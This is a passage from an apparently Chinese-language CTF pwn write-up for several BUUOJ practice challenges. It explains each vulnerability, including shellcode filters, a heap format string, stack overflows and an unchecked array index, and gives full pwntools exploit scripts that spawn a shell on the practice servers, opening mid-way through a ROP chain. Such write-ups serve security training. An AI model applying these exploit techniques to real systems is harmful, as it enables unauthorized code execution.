p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += p64(0x3b)
p += pack('<Q', 0x0000000000461645) # syscall ; ret

payload64 = p
add_esp = 0x080a8f69
add_rsp = 0x43b86b

payload = 'a' * 0x110 + p64(add_esp) + p64(add_rsp) + payload32.ljust(0x68, '\x00') + payload64

io.sendlineafter('try to pwn it?\n',payload)
io.interactive()

0x59 starctf_2019_babyshell

用mmap分配了一块空间,然后往里读入一段数据,之后调用函数对我们的输入进行检查,通过检查后将我们输入的数据当做代码进行执行。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE *buf; // [rsp+0h] [rbp-10h]

  sub_4007F8(a1, a2, a3);
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  puts("give me shellcode, plz:");
  read(0, buf, 0x200uLL);
  if ( !(unsigned int)sub_400786(buf) )
  {
    printf("wrong shellcode!");
    exit(0);
  }
  ((void (*)(void))buf)();
  return 0LL;
}

这里会判断我们输入的数据的每一个字符是否属于字符串unk_400978包含的字符,我们可以看到这个地址的字符串为 'ZZJ loves shell_code,and here is a gift:' ,这里我们可以选择使用 '\x00' 来进行绕过。

__int64 __fastcall sub_400786(_BYTE *a1)
{
  _BYTE *i; // [rsp+18h] [rbp-10h]

  while ( *a1 )
  {
    for ( i = &unk_400978; *i && *i != *a1; ++i )
      ;
    if ( !*i )
      return 0LL;
    ++a1;
  }
  return 1LL;
}

通过已有的字符和\x00组成不会crash的shellcod然后写上sh的shellcode就可以了。
exp:

from pwn import *

context(log_level='debug', os='linux', arch='amd64')

io = process('./starctf_2019_babyshell')
# io = remote('node3.buuoj.cn', 28565)

shellcode = asm(shellcraft.sh())
payload = '\x00J3' + shellcode

io.sendlineafter('plz:\n', payload)

io.interactive()

0x5a xman_2019_format

是一道格式化字符串漏洞题,但是这一次输入的字符串不是在栈上,而是在堆上,并且我们只有一次机会去进行输入,然后就会退出程序。

char *__cdecl sub_80485C4(char *s)
{
  char *v1; // eax
  char *result; // eax

  puts("...");
  v1 = strtok(s, "|");
  printf(v1);
  while ( 1 )
  {
    result = strtok(0, "|");
    if ( !result )
      break;
    printf(result);
  }
  return result;
}

下断点在漏洞处,观察栈上数据,我们可以选择对栈上的数据进行爆破修改,ebp的地址为 0xffffcfa8 ,上一个函数栈的ebp的地址为 0xffffcfc8 ,我们如果对ebp处的数据进行修改为函数的返回地址,那么 0xffffcfc8 处存储的数据就变为了返回地址的地址,然后此时对 0xffffcfc8 进行修改,就等于修改了函数的返回地址,加上正好有后门函数,低字节爆破就可以了。

gdb-peda$ stack 24
0000| 0xffffcf80 --> 0x804b008 ("aaaa\n")
0004| 0xffffcf84 --> 0x80487ac --> 0x7c ('|')
0008| 0xffffcf88 --> 0x0
0012| 0xffffcf8c --> 0xf7fb7d60 --> 0xfbad2887
0016| 0xffffcf90 --> 0xf7fb7000 --> 0x1b2db0
0020| 0xffffcf94 --> 0xf7e0bb08 --> 0x1fe4
0024| 0xffffcf98 --> 0x80487ac --> 0x7c ('|')
0028| 0xffffcf9c --> 0x0
0032| 0xffffcfa0 --> 0xf7fb7000 --> 0x1b2db0
0036| 0xffffcfa4 --> 0xf7fb7000 --> 0x1b2db0
0040| 0xffffcfa8 --> 0xffffcfc8 --> 0xffffcff8 --> 0xffffd008 --> 0xffffd018 --> 0x0 
0044| 0xffffcfac --> 0x804864b (add    esp,0x10)
0048| 0xffffcfb0 --> 0x804b008 ("aaaa\n")
0052| 0xffffcfb4 --> 0xf7fee010 (<_dl_runtime_resolve+16>:  pop    edx)
0056| 0xffffcfb8 --> 0xffffcff8 --> 0xffffd008 --> 0xffffd018 --> 0x0
0060| 0xffffcfbc --> 0x37 ('7')
0064| 0xffffcfc0 --> 0x804b008 ("aaaa\n")
0068| 0xffffcfc4 --> 0xf7ed9c23 (<__read_nocancel+25>:pop    ebx)
0072| 0xffffcfc8 --> 0xffffcff8 --> 0xffffd008 --> 0xffffd018 --> 0x0

也就是说原来是这样的, 0xffffcfa8 是ebp的地址, 0xffffcfac 是函数的返回地址的地址,我们可以将 0xffffcff8 修改为 0xffffcfac,然后就可以修改函数返回地址为后门函数的地址了,exp多跑几次就行了。

old:
0xffffcfa8 -> 0xffffcfc8 -> 0xffffcff8
0xffffcfc8 --> 0xffffcff8 --> 0xffffd008
new:
0xffffcfa8 -> 0xffffcfc8 -> 0xffffcfac
0xffffcfc8 -> 0xffffcfac -> 0x804864b

exp:

from pwn import *

io = process('./xman_2019_format')

payload = '%12c' + '%10$hhn|'
payload += '%34219c' + '%18$hn'

io.sendlineafter('...\n', payload)

io.interactive()

0x5b suctf_2018_stack

栈溢出 + 后门函数,ret2text,后门函数地址不能用0x400676,估计是因为栈对齐。

exp:

from pwn import *

# io = process('./SUCTF_2018_stack')
io = remote('node3.buuoj.cn', 26757)

payload = 'a' * 0x28 + p64(0x40067A)

io.sendlineafter('====\n', payload)

io.interactive()

0x5c wdb_2018_3rd_soEasy

什么保护都没开,栈上可执行shellcode,且输出了保存输入的参数的地址,写入shellcode然后跳转就可以了。

exp:

from pwn import *

context(log_level='debug', os='linux', arch='i386')

# io = process('./wdb_2018_3rd_soEasy')
io = remote('node3.buuoj.cn', 28862)

shellcode = asm(shellcraft.sh())
io.recvuntil('gift->0x')
address = int(io.recv(8), 16)
payload = shellcode.ljust(0x4c, '\x00') + p32(address)
io.sendlineafter('do?\n', payload)
io.interactive()

0x5d [BSidesCF 2019]Runit

直接执行shellcode。

exp:

from pwn import *

context(log_level='debug', os='linux', arch='i386')

# io = process('./runit')
io = remote('node3.buuoj.cn', 27400)

shellcode = asm(shellcraft.sh())

io.sendline(shellcode)

io.interactive()

0x5c qctf2018_stack2

这题是一道计算平均数的计算器,会先询问我们要输入的数的数量,是一个无符号整数,但是这会限制最多只能输入100个整数,不能溢出。漏洞在之后修改数据处,会询问我们要修改的数的下标,但是没有对下标进行范围判断,可以造成溢出,加上有后门函数,我们可以逐字节修改函数返回地址为后门函数的地址即可。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h] BYREF
  unsigned int v6; // [esp+1Ch] [ebp-8Ch] BYREF
  int input; // [esp+20h] [ebp-88h] BYREF
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char num[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &input);
    num[i] = input;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &input);
          if ( j <= 0x63 )
          {
            v3 = j++;
            num[v3] = input;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, num[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &input);
      num[v5] = input;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += num[l];
  }
  return 0;
}

exp:

from pwn import *

context.log_level = 'debug'

# io = process('./stack2')
io = remote('node3.buuoj.cn', 26673)

io.sendlineafter('have:\n', '1')
io.sendlineafter('numbers\n', '1')

address = [0xaf, 0x85, 0x04, 0x08]

for i in range(0x84, 0x88):
    io.sendlineafter('5. exit\n', '3')
    io.sendlineafter('change:\n', str(i))
    io.sendlineafter('number:\n', str(address[i % 0x84]))

io.sendlineafter('5. exit\n', '5')
io.interactive()

0x5d